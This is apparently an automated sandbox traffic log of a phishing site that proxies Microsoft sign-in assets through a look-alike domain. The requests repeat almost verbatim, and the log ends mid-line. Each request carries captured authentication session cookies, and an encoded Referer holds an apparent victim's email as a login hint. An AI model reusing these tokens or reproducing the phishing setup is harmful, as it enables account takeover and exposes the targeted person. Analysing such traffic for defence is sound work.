iframeReferer: https://sharedfile4rom1nternet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; 